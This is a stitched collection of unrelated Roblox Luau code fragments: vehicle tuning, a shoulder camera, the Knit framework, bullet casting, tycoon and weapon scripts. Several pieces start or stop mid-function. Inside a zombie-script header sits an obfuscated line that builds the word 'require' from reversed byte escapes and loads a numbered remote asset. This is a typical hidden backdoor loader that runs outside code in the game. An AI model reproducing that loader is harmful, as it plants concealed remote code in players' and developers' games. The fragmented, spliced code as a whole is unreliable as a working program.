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-- ~15 c/s
while wait(.0667) do -- Reset Throt if accelrating/not if _ThrotActive == true then _GThrot = 1; else _GThrot = _Tune.IdleThrottle/100; end -- Throt Cap if (car.DriveSeat.Velocity.Magnitude > car.DriveSeat.MaxSpeed) then _GThrot = _Tune.IdleThrottle/100 end -- Reste brake is braking/not if _BrakeActive == true then _GBrake = 1; else _GBrake = 0; end -- Brake Cap if (car.DriveSeat.Velocity.Magnitude > car.DriveSeat.MaxSpeed) then if(_CGear > -1) then _GBrake = 1; else _GBrake = 0; end end --Power Engine() --Flip if _Tune.AutoFlip then Flip() end end
--[=[ @interface ServiceDef .Name string .Client table? .Middleware Middleware? .[any] any @within KnitServer Used to define a service when creating it in `CreateService`. The middleware tables provided will be used instead of the Knit-level middleware (if any). This allows fine-tuning each service's middleware. These can also be left out or `nil` to not include middleware. ]=]
type ServiceDef = { Name: string, Client: {[any]: any}?, Middleware: Middleware?, [any]: any, }
--[[Transmission]]
Tune.TransModes = {"Semi"} --[[ [Modes] "Auto" : Automatic shifting "Semi" : Clutchless manual shifting, dual clutch transmission "Manual" : Manual shifting with clutch >Include within brackets eg: {"Semi"} or {"Auto", "Manual"} >First mode is default mode ]] --Automatic Settings Tune.AutoShiftMode = "Speed" --[[ [Modes] "Speed" : Shifts based on wheel speed "RPM" : Shifts based on RPM ]] Tune.AutoUpThresh = -200 --Automatic upshift point (relative to peak RPM, positive = Over-rev) Tune.AutoDownThresh = 1400 --Automatic downshift point (relative to peak RPM, positive = Under-rev) --Gear Ratios Tune.FinalDrive = 1.0 -- Gearing determines top speed and wheel torque Tune.Ratios = { -- Higher ratio = more torque, Lower ratio = higher top speed --[[Reverse]] 10 , -- Copy and paste a ratio to add a gear --[[Neutral]] 0 , -- Ratios can also be deleted --[[ 1 ]] 4.6 , -- Reverse, Neutral, and 1st gear are required } Tune.FDMult = 1.15 -- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)
-- Set up the Local Player
if RunService:IsClient() then if LocalPlayer.Character then onCharacterAdded(LocalPlayer.Character) end LocalPlayer.CharacterAdded:Connect(onCharacterAdded) LocalPlayer.CharacterRemoving:Connect(onCharacterRemoving) end local ShoulderCamera = {} ShoulderCamera.__index = ShoulderCamera ShoulderCamera.SpringService = nil function ShoulderCamera.new(weaponsSystem) local self = setmetatable({}, ShoulderCamera) self.weaponsSystem = weaponsSystem -- Configuration parameters (constants) self.fieldOfView = 70 self.minPitch = math.rad(-75) -- min degrees camera can angle down self.maxPitch = math.rad(75) -- max degrees camera can cangle up self.normalOffset = Vector3.new(2.25, 2.25, 10.5) -- this is the camera's offset from the player self.zoomedOffsetDistance = 8 -- number of studs to zoom in from default offset when zooming self.normalCrosshairScale = 1 self.zoomedCrosshairScale = 0.75 self.defaultZoomFactor = 1 self.canZoom = true self.zoomInputs = { Enum.UserInputType.MouseButton2, Enum.KeyCode.ButtonL2 } self.sprintInputs = { Enum.KeyCode.LeftShift } self.mouseRadsPerPixel = Vector2.new(1 / 480, 1 / 480) self.zoomedMouseRadsPerPixel = Vector2.new(1 / 1200, 1 / 1200) self.touchSensitivity = Vector2.new(1 / 100, 1 / 100) self.zoomedTouchSensitivity = Vector2.new(1 / 200, 1 / 200) self.touchDelayTime = 0.25 -- max time for a touch to count as a tap (to shoot the weapon instead of control camera), -- also the amount of time players have to start a second touch after releasing the first time to trigger automatic fire self.recoilDecay = 2 -- higher number means faster recoil decay rate self.rotateCharacterWithCamera = true self.gamepadSensitivityModifier = Vector2.new(0.85, 0.65) -- Walk speeds self.zoomWalkSpeed = 8 self.normalWalkSpeed = 16 self.sprintingWalkSpeed = 24 -- Current state self.enabled = false self.yaw = 0 self.pitch = 0 self.currentCFrame = CFrame.new() self.currentOffset = self.normalOffset self.currentRecoil = Vector2.new(0, 0) self.currentMouseRadsPerPixel = self.mouseRadsPerPixel self.currentTouchSensitivity = self.touchSensitivity self.mouseLocked = true self.touchPanAccumulator = Vector2.new(0, 0) -- used for touch devices, represents amount the player has dragged their finger since starting a touch self.currentTool = nil self.sprintingInputActivated = false self.desiredWalkSpeed = self.normalWalkSpeed self.sprintEnabled = false -- true means player will move faster while doing sprint inputs self.slowZoomWalkEnabled = false -- true means player will move slower while doing zoom inputs self.desiredFieldOfView = self.fieldOfView -- Zoom variables self.zoomedFromInput = false -- true if player has performed input to zoom self.forcedZoomed = false -- ignores zoomedFromInput and canZoom self.zoomState = false -- true if player is currently zoomed in self.zoomAlpha = 0 self.hasScope = false self.hideToolWhileZoomed = false self.currentZoomFactor = self.defaultZoomFactor self.zoomedFOV = self.fieldOfView -- Gamepad variables self.gamepadPan = Vector2.new(0, 0) -- essentially the amount the gamepad has moved from resting position self.movementPan = Vector2.new(0, 0) -- this is for movement (gamepadPan is for camera) self.lastThumbstickPos = Vector2.new(0, 0) self.lastThumbstickTime = nil self.currentGamepadSpeed = 0 self.lastGamepadVelocity = Vector2.new(0, 0) -- Occlusion self.lastOcclusionDistance = 0 self.lastOcclusionReachedTime = 0 -- marks the last time camera was at the true occlusion distance self.defaultTimeUntilZoomOut = 0 self.timeUntilZoomOut = self.defaultTimeUntilZoomOut -- time after lastOcclusionReachedTime that camera will zoom out self.timeLastPoppedWayIn = 0 -- this holds the last time camera popped nearly into first person self.isZoomingOut = false self.tweenOutTime = 0.2 self.curOcclusionTween = nil self.occlusionTweenObject = nil -- Side correction (when player is against a wall) self.sideCorrectionGoalVector = nil self.lastSideCorrectionMagnitude = 0 self.lastSideCorrectionReachedTime = 0 -- marks the last time the camera was at the true correction distance self.revertSideCorrectionSpeedMultiplier = 2 -- speed at which camera reverts the side correction (towards 0 correction) self.defaultTimeUntilRevertSideCorrection = 0.75 self.timeUntilRevertSideCorrection = self.defaultTimeUntilRevertSideCorrection -- time after lastSideCorrectionReachedTime that camera will revert the correction self.isRevertingSideCorrection = false -- Datamodel references self.eventConnections = {} self.raycastIgnoreList = {} self.currentCamera = nil self.currentCharacter = nil self.currentHumanoid = nil self.currentRootPart = nil self.controlModule = nil -- used to get player's touch input for moving character self.random = Random.new() return self end function ShoulderCamera:setEnabled(enabled) if self.enabled == enabled then return end self.enabled = enabled if self.enabled then RunService:BindToRenderStep(CAMERA_RENDERSTEP_NAME, Enum.RenderPriority.Camera.Value - 1, function(dt) self:onRenderStep(dt) end) ContextActionService:BindAction(ZOOM_ACTION_NAME, function(...) self:onZoomAction(...) end, false, unpack(self.zoomInputs)) ContextActionService:BindAction(SPRINT_ACTION_NAME, function(...) self:onSprintAction(...) end, false, unpack(self.sprintInputs)) table.insert(self.eventConnections, LocalPlayer.CharacterAdded:Connect(function(character) self:onCurrentCharacterChanged(character) end)) table.insert(self.eventConnections, LocalPlayer.CharacterRemoving:Connect(function() self:onCurrentCharacterChanged(nil) end)) table.insert(self.eventConnections, workspace:GetPropertyChangedSignal("CurrentCamera"):Connect(function() self:onCurrentCameraChanged(workspace.CurrentCamera) end)) table.insert(self.eventConnections, UserInputService.InputBegan:Connect(function(inputObj, wasProcessed) self:onInputBegan(inputObj, wasProcessed) end)) table.insert(self.eventConnections, UserInputService.InputChanged:Connect(function(inputObj, wasProcessed) self:onInputChanged(inputObj, wasProcessed) end)) table.insert(self.eventConnections, UserInputService.InputEnded:Connect(function(inputObj, wasProcessed) self:onInputEnded(inputObj, wasProcessed) end)) self:onCurrentCharacterChanged(LocalPlayer.Character) self:onCurrentCameraChanged(workspace.CurrentCamera) -- Make transition to shouldercamera smooth by facing in same direction as previous camera local cameraLook = self.currentCamera.CFrame.lookVector self.yaw = math.atan2(-cameraLook.X, -cameraLook.Z) self.pitch = math.asin(cameraLook.Y) self.currentCamera.CameraType = Enum.CameraType.Scriptable self:setZoomFactor(self.currentZoomFactor) -- this ensures that zoomedFOV reflecs currentZoomFactor workspace.CurrentCamera.CameraSubject = self.currentRootPart self.occlusionTweenObject = Instance.new("NumberValue") self.occlusionTweenObject.Name = "OcclusionTweenObject" self.occlusionTweenObject.Parent = script self.occlusionTweenObject.Changed:Connect(function(value) self.lastOcclusionDistance = value end) -- Sets up weapon system to use camera for raycast direction instead of gun look vector self.weaponsSystem.aimRayCallback = function() local cameraCFrame = self.currentCFrame return Ray.new(cameraCFrame.p, cameraCFrame.LookVector * 500) end else RunService:UnbindFromRenderStep(CAMERA_RENDERSTEP_NAME) ContextActionService:UnbindAction(ZOOM_ACTION_NAME) ContextActionService:UnbindAction(SPRINT_ACTION_NAME) if self.currentHumanoid then self.currentHumanoid.AutoRotate = true end if self.currentCamera then self.currentCamera.CameraType = Enum.CameraType.Custom end self:updateZoomState() self.yaw = 0 self.pitch = 0 for _, conn in pairs(self.eventConnections) do conn:Disconnect() end self.eventConnections = {} UserInputService.MouseBehavior = Enum.MouseBehavior.Default UserInputService.MouseIconEnabled = true end end function ShoulderCamera:onRenderStep(dt) if not self.enabled or not self.currentCamera or not self.currentCharacter or not self.currentHumanoid or not self.currentRootPart then return end -- Hide mouse and lock to center if applicable if self.mouseLocked and not GuiService:GetEmotesMenuOpen() then UserInputService.MouseBehavior = Enum.MouseBehavior.LockCenter UserInputService.MouseIconEnabled = false else UserInputService.MouseBehavior = Enum.MouseBehavior.Default UserInputService.MouseIconEnabled = true end -- Handle gamepad input self:processGamepadInput(dt) -- Smoothly zoom to desired values if self.hasScope then ShoulderCamera.SpringService:Target(self, 0.8, 8, { zoomAlpha = self.zoomState and 1 or 0 }) ShoulderCamera.SpringService:Target(self.currentCamera, 0.8, 8, { FieldOfView = self.desiredFieldOfView }) else ShoulderCamera.SpringService:Target(self, 0.8, 3, { zoomAlpha = self.zoomState and 1 or 0 }) ShoulderCamera.SpringService:Target(self.currentCamera, 0.8, 3, { FieldOfView = self.desiredFieldOfView }) end -- Handle walk speed changes if self.sprintEnabled or self.slowZoomWalkEnabled then self.desiredWalkSpeed = self.normalWalkSpeed if self.sprintEnabled and (self.sprintingInputActivated or self:sprintFromTouchInput() or self:sprintFromGamepadInput()) and not self.zoomState then self.desiredWalkSpeed = self.sprintingWalkSpeed end if self.slowZoomWalkEnabled and self.zoomAlpha > 0.1 then self.desiredWalkSpeed = self.zoomWalkSpeed end ShoulderCamera.SpringService:Target(self.currentHumanoid, 0.95, 4, { WalkSpeed = self.desiredWalkSpeed }) end -- Initialize variables used for side correction, occlusion, and calculating camera focus/rotation local rootPartPos = self.currentRootPart.CFrame.Position local rootPartUnrotatedCFrame = CFrame.new(rootPartPos) local yawRotation = CFrame.Angles(0, self.yaw, 0) local pitchRotation = CFrame.Angles(self.pitch + self.currentRecoil.Y, 0, 0) local xOffset = CFrame.new(self.normalOffset.X, 0, 0) local yOffset = CFrame.new(0, self.normalOffset.Y, 0) local zOffset = CFrame.new(0, 0, self.normalOffset.Z) local collisionRadius = self:getCollisionRadius() local cameraYawRotationAndXOffset = yawRotation * -- First rotate around the Y axis (look left/right) xOffset -- Then perform the desired offset (so camera is centered to side of player instead of directly on player) local cameraFocus = rootPartUnrotatedCFrame * cameraYawRotationAndXOffset -- Handle/Calculate side correction when player is adjacent to a wall (so camera doesn't go in the wall) local vecToFocus = cameraFocus.p - rootPartPos local rayToFocus = Ray.new(rootPartPos, vecToFocus + (vecToFocus.Unit * collisionRadius)) local hitPart, hitPoint, hitNormal = self:penetrateCast(rayToFocus, self.raycastIgnoreList) local currentTime = tick() local sideCorrectionGoalVector = Vector3.new() -- if nothing is adjacent to player, goal vector is (0, 0, 0) if hitPart then hitPoint = hitPoint + (hitNormal * collisionRadius) sideCorrectionGoalVector = hitPoint - cameraFocus.p if sideCorrectionGoalVector.Magnitude >= self.lastSideCorrectionMagnitude then -- make it easy for camera to pop closer to player (move left) if currentTime > self.lastSideCorrectionReachedTime + self.timeUntilRevertSideCorrection and self.lastSideCorrectionMagnitude ~= 0 then self.timeUntilRevertSideCorrection = self.defaultTimeUntilRevertSideCorrection * 2 -- double time until revert if popping in repeatedly elseif self.lastSideCorrectionMagnitude == 0 and self.timeUntilRevertSideCorrection ~= self.defaultTimeUntilRevertSideCorrection then self.timeUntilRevertSideCorrection = self.defaultTimeUntilRevertSideCorrection end self.lastSideCorrectionMagnitude = sideCorrectionGoalVector.Magnitude self.lastSideCorrectionReachedTime = currentTime self.isRevertingSideCorrection = false else self.isRevertingSideCorrection = true end elseif self.lastSideCorrectionMagnitude ~= 0 then self.isRevertingSideCorrection = true end if self.isRevertingSideCorrection then -- make it hard/slow for camera to revert side correction (move right) if sideCorrectionGoalVector.Magnitude > self.lastSideCorrectionMagnitude - 1 and sideCorrectionGoalVector.Magnitude ~= 0 then self.lastSideCorrectionReachedTime = currentTime -- reset timer if occlusion significantly increased since last frame end if currentTime > self.lastSideCorrectionReachedTime + self.timeUntilRevertSideCorrection then local sideCorrectionChangeAmount = dt * (vecToFocus.Magnitude) * self.revertSideCorrectionSpeedMultiplier self.lastSideCorrectionMagnitude = self.lastSideCorrectionMagnitude - sideCorrectionChangeAmount if sideCorrectionGoalVector.Magnitude >= self.lastSideCorrectionMagnitude then self.lastSideCorrectionMagnitude = sideCorrectionGoalVector.Magnitude self.lastSideCorrectionReachedTime = currentTime self.isRevertingSideCorrection = false end end end -- Update cameraFocus to reflect side correction cameraYawRotationAndXOffset = cameraYawRotationAndXOffset + (-vecToFocus.Unit * self.lastSideCorrectionMagnitude) cameraFocus = rootPartUnrotatedCFrame * cameraYawRotationAndXOffset self.currentCamera.Focus = cameraFocus -- Calculate and apply CFrame for camera local cameraCFrameInSubjectSpace = cameraYawRotationAndXOffset * pitchRotation * -- rotate around the X axis (look up/down) yOffset * -- move camera up/vertically zOffset -- move camera back self.currentCFrame = rootPartUnrotatedCFrame * cameraCFrameInSubjectSpace -- Move camera forward if zoomed in if self.zoomAlpha > 0 then local trueZoomedOffset = math.max(self.zoomedOffsetDistance - self.lastOcclusionDistance, 0) -- don't zoom too far in if already occluded self.currentCFrame = self.currentCFrame:lerp(self.currentCFrame + trueZoomedOffset * self.currentCFrame.LookVector.Unit, self.zoomAlpha) end self.currentCamera.CFrame = self.currentCFrame -- Handle occlusion local occlusionDistance = self.currentCamera:GetLargestCutoffDistance(self.raycastIgnoreList) if occlusionDistance > 1e-5 then occlusionDistance = occlusionDistance + collisionRadius end if occlusionDistance >= self.lastOcclusionDistance then -- make it easy for the camera to pop in towards the player if self.curOcclusionTween ~= nil then self.curOcclusionTween:Cancel() self.curOcclusionTween = nil end if currentTime > self.lastOcclusionReachedTime + self.timeUntilZoomOut and self.lastOcclusionDistance ~= 0 then self.timeUntilZoomOut = self.defaultTimeUntilZoomOut * 2 -- double time until zoom out if popping in repeatedly elseif self.lastOcclusionDistance == 0 and self.timeUntilZoomOut ~= self.defaultTimeUntilZoomOut then self.timeUntilZoomOut = self.defaultTimeUntilZoomOut end if occlusionDistance / self.normalOffset.Z > 0.8 and self.timeLastPoppedWayIn == 0 then self.timeLastPoppedWayIn = currentTime end self.lastOcclusionDistance = occlusionDistance self.lastOcclusionReachedTime = currentTime self.isZoomingOut = false else -- make it hard/slow for camera to zoom out self.isZoomingOut = true if occlusionDistance > self.lastOcclusionDistance - 2 and occlusionDistance ~= 0 then -- reset timer if occlusion significantly increased since last frame self.lastOcclusionReachedTime = currentTime end -- If occlusion pops camera in to almost first person for a short time, pop out instantly if currentTime < self.timeLastPoppedWayIn + self.defaultTimeUntilZoomOut and self.lastOcclusionDistance / self.normalOffset.Z > 0.8 then self.lastOcclusionDistance = occlusionDistance self.lastOcclusionReachedTime = currentTime self.isZoomingOut = false elseif currentTime >= self.timeLastPoppedWayIn + self.defaultTimeUntilZoomOut and self.timeLastPoppedWayIn ~= 0 then self.timeLastPoppedWayIn = 0 end end -- Update occlusion amount if timeout time has passed if currentTime >= self.lastOcclusionReachedTime + self.timeUntilZoomOut and not self.zoomState then if self.curOcclusionTween == nil then self.occlusionTweenObject.Value = self.lastOcclusionDistance local tweenInfo = TweenInfo.new(self.tweenOutTime) local goal = {} goal.Value = self.lastOcclusionDistance - self.normalOffset.Z self.curOcclusionTween = TweenService:Create(self.occlusionTweenObject, tweenInfo, goal) self.curOcclusionTween:Play() end end -- Apply occlusion to camera CFrame local currentOffsetDir = self.currentCFrame.LookVector.Unit self.currentCFrame = self.currentCFrame + (currentOffsetDir * self.lastOcclusionDistance) self.currentCamera.CFrame = self.currentCFrame -- Apply recoil decay self.currentRecoil = self.currentRecoil - (self.currentRecoil * self.recoilDecay * dt) if self:isHumanoidControllable() and self.rotateCharacterWithCamera then self.currentHumanoid.AutoRotate = false self.currentRootPart.CFrame = CFrame.Angles(0, self.yaw, 0) + self.currentRootPart.Position -- rotate character to be upright and facing the same direction as camera self:applyRootJointFix() else self.currentHumanoid.AutoRotate = true end self:handlePartTransparencies() self:handleTouchToolFiring() end
-- Ctor
function ActiveCastStatic.new(caster: Caster, origin: Vector3, direction: Vector3, velocity: Vector3 | number, castDataPacket: FastCastBehavior): ActiveCast if typeof(velocity) == "number" then velocity = direction.Unit * velocity end -- Basic setup local cast = { Caster = caster, -- Data that keeps track of what's going on as well as edits we might make during runtime. StateInfo = { UpdateConnection = nil, Paused = false, TotalRuntime = 0, DistanceCovered = 0, IsActivelySimulatingPierce = false, Trajectories = { { StartTime = 0, EndTime = -1, Origin = origin, InitialVelocity = velocity, Acceleration = castDataPacket.Acceleration } } }, -- Information pertaining to actual raycasting. RayInfo = { Parameters = castDataPacket.RaycastParams, WorldRoot = workspace, MaxDistance = castDataPacket.MaxDistance or 1000, CosmeticBulletObject = castDataPacket.CosmeticBulletTemplate, CanPierceCallback = castDataPacket.CanPierceFunction }, UserData = {} } if cast.RayInfo.Parameters ~= nil then cast.RayInfo.Parameters = CloneCastParams(cast.RayInfo.Parameters) end if cast.RayInfo.CosmeticBulletObject ~= nil then cast.RayInfo.CosmeticBulletObject = cast.RayInfo.CosmeticBulletObject:Clone() cast.RayInfo.CosmeticBulletObject.CFrame = CFrame.new(origin, origin + direction) cast.RayInfo.CosmeticBulletObject.Parent = castDataPacket.CosmeticBulletContainer end if castDataPacket.AutoIgnoreContainer == true and castDataPacket.CosmeticBulletContainer ~= nil then local ignoreList = cast.RayInfo.Parameters.FilterDescendantsInstances if table.find(ignoreList, castDataPacket.CosmeticBulletContainer) == nil then table.insert(ignoreList, castDataPacket.CosmeticBulletContainer) cast.RayInfo.Parameters.FilterDescendantsInstances = ignoreList end end local event if RunService:IsClient() then event = RunService.RenderStepped else event = RunService.Heartbeat end event:wait() cast.StateInfo.UpdateConnection = event:Connect(function (delta) if cast.StateInfo.Paused then return end SimulateCast(cast, delta) end) return setmetatable(cast, ActiveCastStatic) end function ActiveCastStatic.SetStaticFastCastReference(ref) FastCast = ref end
--//Created by PlaasBoer --Version 3.3.0 --If you find a bug comment on my video for Zed's tycoon save --Link to my channel --[[ https://www.youtube.com/channel/UCHIypUw5-7noRfLJjczdsqw ]]
-- local tycoonsFolder = script.Parent:WaitForChild("Tycoons") local tycoons = tycoonsFolder:GetChildren()
-- Initialize the tool
local MeshTool = { Name = 'Mesh Tool'; Color = BrickColor.new 'Bright violet'; -- State CurrentType = nil; -- Signals OnTypeChanged = Signal.new(); } MeshTool.ManualText = [[<font face="GothamBlack" size="16">Mesh Tool 🛠</font> Lets you add meshes to parts.<font size="6"><br /></font> <b>TIP:</b> You can paste the link to anything with a mesh (e.g. a hat, gear, etc) and it will automatically find the right mesh and texture IDs.<font size="6"><br /></font> <b>NOTE:</b> If HttpService is not enabled, you must type the mesh or image asset ID directly.]]
-- время до уничтожения построек вышедшего игрока в секундах -- 8 дней по 24 часа по 60 минут по 60 секунд
local DD = 7 local HH = 23 local MM = 59 local SS = 59 period = DD*24*60*60 + HH*60*60 + MM*60 + SS wait(period) gamer = me.Parent.Name if game.Players:FindFirstChild(gamer) then script.Parent = nil -- если игрок есть, уничтожаем скрипт else me.Parent = nil -- игрока нет, уничтожаем всю его папку end
--Turn this to true to make the shift lock cursor thing appear at the center.
local SHOW_CENTER_CURSOR = false
--Creates a remote function.
function RemoteEventCreator:CreateRemoteFunction(Name) --Warn if an item with that name exists. if Tool:FindFirstChild(Name) then warn("Conflicting item "..Name.." exists in "..Tool:GetFullName()) end --Create and return the remote function. local RemoteFunction = Instance.new("RemoteFunction") RemoteFunction.Name = Name RemoteFunction.Parent = Tool return RemoteFunction end
-- SoundModule.PlaySoundLocally("Click5")
local result = Rep.Relay.Currency.ClaimFreeGems:InvokeServer() if result then local screenPos = Vector2.new(button.AbsolutePosition.X,button.AbsolutePosition.Y) GC.EarnGemsEffect(screenPos) end end)
--!strict -- upstream: https://github.com/facebook/react/blob/a774502e0ff2a82e3c0a3102534dbc3f1406e5ea/packages/shared/getComponentName.js --[[* * Copyright (c) Facebook, Inc. and its affiliates. * * This source code is licensed under the MIT license found in the * LICENSE file in the root directory of this source tree. * * @flow ]]
type Function = (...any) -> ...any local console = require(script.Parent.console)
--[=[ @return Promise Starts Knit. Should only be called once per client. ```lua Knit.Start():andThen(function() print("Knit started!") end):catch(warn) ``` By default, service methods exposed to the client will return promises. To change this behavior, set the `ServicePromises` option to `false`: ```lua Knit.Start({ServicePromises = false}):andThen(function() print("Knit started!") end):catch(warn) ``` ]=]
function KnitClient.Start(options: KnitOptions?) if started then return Promise.reject("Knit already started") end started = true if options == nil then selectedOptions = defaultOptions else assert(typeof(options) == "table", "KnitOptions should be a table or nil; got " .. typeof(options)) selectedOptions = options for k,v in pairs(defaultOptions) do if selectedOptions[k] == nil then selectedOptions[k] = v end end end if type(selectedOptions.PerServiceMiddleware) ~= "table" then selectedOptions.PerServiceMiddleware = {} end return Promise.new(function(resolve) -- Init: local promisesStartControllers = {} for _,controller in pairs(controllers) do if type(controller.KnitInit) == "function" then table.insert(promisesStartControllers, Promise.new(function(r) controller:KnitInit() r() end)) end end resolve(Promise.all(promisesStartControllers)) end):andThen(function() -- Start: for _,controller in pairs(controllers) do if type(controller.KnitStart) == "function" then task.spawn(controller.KnitStart, controller) end end startedComplete = true onStartedComplete:Fire() task.defer(function() onStartedComplete:Destroy() end) end) end
--// Dump log on disconnect
local isStudio = game:GetService("RunService"):IsStudio() game:GetService("NetworkClient").ChildRemoved:Connect(function(p) if not isStudio then warn("~! PLAYER DISCONNECTED/KICKED! DUMPING ADONIS CLIENT LOG!"); dumplog(); end end) local unique = {} local origEnv = getfenv(); setfenv(1,setmetatable({}, {__metatable = unique}))
--script.Parent.Decal.Transparency = 1 --script.Disabled = true --script.Parent.ClickDetector.MaxActivationDistance = 1
--[[ By: Brutez. ]]-- --[[ Last synced 11/13/2020 10:32 || RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5754612086)
-- Module Scripts
local moduleScripts = ServerStorage.ModuleScripts local gameSettings = require(moduleScripts.GameSettings) local leaderboardManager = require(moduleScripts.LeaderboardManager) local mapManager = require(moduleScripts.MapManager)
-- Setup animation objects
function scriptChildModified(child) local fileList = animNames[child.Name] if (fileList ~= nil) then configureAnimationSet(child.Name, fileList) else if child:isA("StringValue") then animNames[child.Name] = {} configureAnimationSet(child.Name, animNames[child.Name]) end end end script.ChildAdded:connect(scriptChildModified) script.ChildRemoved:connect(scriptChildModified)
--// Char Parts
local Humanoid = char:WaitForChild('Humanoid') local Head = char:WaitForChild('Head') local Torso = char:WaitForChild('Torso') local HumanoidRootPart = char:WaitForChild('HumanoidRootPart') local RootJoint = HumanoidRootPart:WaitForChild('RootJoint') local Neck = Torso:WaitForChild('Neck') local Right_Shoulder = Torso:WaitForChild('Right Shoulder') local Left_Shoulder = Torso:WaitForChild('Left Shoulder') local Right_Hip = Torso:WaitForChild('Right Hip') local Left_Hip = Torso:WaitForChild('Left Hip') local YOffset = Neck.C0.Y local WaistYOffset = Neck.C0.Y local CFNew, CFAng = CFrame.new, CFrame.Angles local Asin = math.asin local T = 0.15 User.MouseIconEnabled = true plr.CameraMode = Enum.CameraMode.Classic cam.CameraType = Enum.CameraType.Custom cam.CameraSubject = Humanoid if gameRules.TeamTags then local tag = Essential.TeamTag:clone() tag.Parent = char tag.Disabled = false end local ShellFolder = Instance.new("Folder",ACS_Workspace) ShellFolder.Name = "Casings" local Limit = gameRules.ShellLimit local PhysService = game:GetService("PhysicsService") function CreateShell(Shell,Origin) Evt.Shell:FireServer(Shell,Origin.WorldCFrame,WeaponData.EjectionOverride) end function SetWalkSpeed(Speed) if gameRules.WeaponWeight and WeaponInHand and WeaponData.WeaponWeight then if Speed - WeaponData.WeaponWeight < 1 then char:WaitForChild("Humanoid").WalkSpeed = 1 else char:WaitForChild("Humanoid").WalkSpeed = Speed - WeaponData.WeaponWeight end else char:WaitForChild("Humanoid").WalkSpeed = Speed end end Evt.Shell.OnClientEvent:Connect(function(Shell,Origin,Override) local Distance = (char.Torso.Position - Origin.Position).Magnitude local shellFolder if Engine.AmmoModels:FindFirstChild(Shell) then shellFolder = Engine.AmmoModels:FindFirstChild(Shell) else shellFolder = Engine.AmmoModels.Default end local shellStats = require(shellFolder.EjectionForce) if Distance < 100 then local NewShell = shellFolder.Casing:Clone() NewShell.Parent = ShellFolder NewShell.Anchored = false NewShell.CanCollide = true NewShell.CFrame = Origin * CFrame.Angles(0,math.rad(0),0) NewShell.Name = Shell.."_Casing" NewShell.CastShadow = false NewShell.CustomPhysicalProperties = shellStats.PhysProperties PhysService:SetPartCollisionGroup(NewShell,"Casings") local Att = Instance.new("Attachment",NewShell) Att.Position = shellStats.ForcePoint local ShellForce = Instance.new("VectorForce",NewShell) ShellForce.Visible = false if Override then ShellForce.Force = Override else ShellForce.Force = shellStats.CalculateForce() end ShellForce.Attachment0 = Att Debris:AddItem(ShellForce,0.01) if #ShellFolder:GetChildren() > Limit then ShellFolder:GetChildren()[math.random(#ShellFolder:GetChildren()/2,#ShellFolder:GetChildren())]:Destroy() end --NewShell.Touched:Connect(function(partTouched) -- if NewShell.AssemblyLinearVelocity.Magnitude > 20 and not partTouched:IsDescendantOf(char) and partTouched.CanCollide then -- local NewSound = NewShell.Drop:Clone() -- NewSound.Parent = NewShell -- NewSound.PlaybackSpeed = math.random(30,50)/40 -- NewSound:Play() -- NewSound.PlayOnRemove = true -- NewSound:Destroy() -- Debris:AddItem(NewSound,2) -- end --end) if gameRules.ShellDespawn > 0 then Debris:AddItem(NewShell,gameRules.ShellDespawn) end wait(0.25) if NewShell and NewShell:FindFirstChild("Drop") then local NewSound = NewShell.Drop:Clone() NewSound.Parent = NewShell NewSound.PlaybackSpeed = math.random(30,50)/40 NewSound:Play() NewSound.PlayOnRemove = true NewSound:Destroy() Debris:AddItem(NewSound,2) end end end) function handleAction(actionName, inputState, inputObject) if PreviousTool and canDrop and actionName == "DropWeapon" and inputState == Enum.UserInputState.Begin and gameRules.WeaponDropping then Evt.DropWeapon:FireServer(PreviousTool,require(PreviousTool.ACS_Settings)) canDrop = false end if actionName == "Fire" and inputState == Enum.UserInputState.Begin and AnimDebounce then Shoot() if WeaponData and WeaponData.Type == "Grenade" then CookGrenade = true Grenade() end elseif actionName == "Fire" and inputState == Enum.UserInputState.End then mouse1down = false CookGrenade = false end if actionName == "Reload" and inputState == Enum.UserInputState.Begin and AnimDebounce and not CheckingMag and not reloading then if WeaponData.Jammed then Jammed() else Reload() end end if actionName == "Reload" and inputState == Enum.UserInputState.Begin and reloading and WeaponData.ShellInsert then CancelReload = true end if actionName == "CycleLaser" and inputState == Enum.UserInputState.Begin and LaserAtt then SetLaser() end if actionName == "CycleLight" and inputState == Enum.UserInputState.Begin and TorchAtt then SetTorch() end if actionName == "CycleFiremode" and inputState == Enum.UserInputState.Begin and WeaponData and WeaponData.FireModes.ChangeFiremode then Firemode() end if actionName == "CycleAimpart" and inputState == Enum.UserInputState.Begin then SetAimpart() end if actionName == "ZeroUp" and inputState == Enum.UserInputState.Begin and WeaponData and WeaponData.EnableZeroing then if WeaponData.CurrentZero < WeaponData.MaxZero then WeaponInHand.Handle.Click:play() WeaponData.CurrentZero = math.min(WeaponData.CurrentZero + WeaponData.ZeroIncrement, WeaponData.MaxZero) UpdateGui() end end if actionName == "ZeroDown" and inputState == Enum.UserInputState.Begin and WeaponData and WeaponData.EnableZeroing then if WeaponData.CurrentZero > 0 then WeaponInHand.Handle.Click:play() WeaponData.CurrentZero = math.max(WeaponData.CurrentZero - WeaponData.ZeroIncrement, 0) UpdateGui() end end if actionName == "CheckMag" and inputState == Enum.UserInputState.Begin and not CheckingMag and not reloading and not runKeyDown and AnimDebounce and WeaponData.CanCheckMag then CheckMagFunction() end if actionName == "ToggleBipod" and inputState == Enum.UserInputState.Begin and CanBipod then BipodActive = not BipodActive UpdateGui() end if actionName == "NVG" and inputState == Enum.UserInputState.Begin and not NVGdebounce then if not plr.Character then return; end; local helmet = plr.Character:FindFirstChild("Helmet") if not helmet then return; end; local nvg = helmet:FindFirstChild("Up") if not nvg then return; end; NVGdebounce = true delay(.8,function() NVG = not NVG Evt.NVG:Fire(NVG) NVGdebounce = false end) end if actionName == "ADS" and inputState == Enum.UserInputState.Begin and AnimDebounce then if WeaponData and WeaponData.canAim and GunStance > -2 and not runKeyDown and not CheckingMag then aimming = not aimming ADS(aimming) end if WeaponData.Type == "Grenade" then GrenadeMode() end end if actionName == "Stand" and inputState == Enum.UserInputState.Begin and ChangeStance and not Swimming and not Sentado and not runKeyDown and not ACS_Client:GetAttribute("Collapsed") then if Stances == 2 then Crouched = true Proned = false Stances = 1 CameraY = -1 Crouch() elseif Stances == 1 then Crouched = false Stances = 0 CameraY = 0 Stand() end end if actionName == "Crouch" and inputState == Enum.UserInputState.Begin and ChangeStance and not Swimming and not Sentado and not runKeyDown and not ACS_Client:GetAttribute("Collapsed") then if Stances == 0 then Stances = 1 CameraY = -1 Crouch() Crouched = true elseif Stances == 1 then Stances = 2 CameraX = 0 CameraY = -3.25 Virar = 0 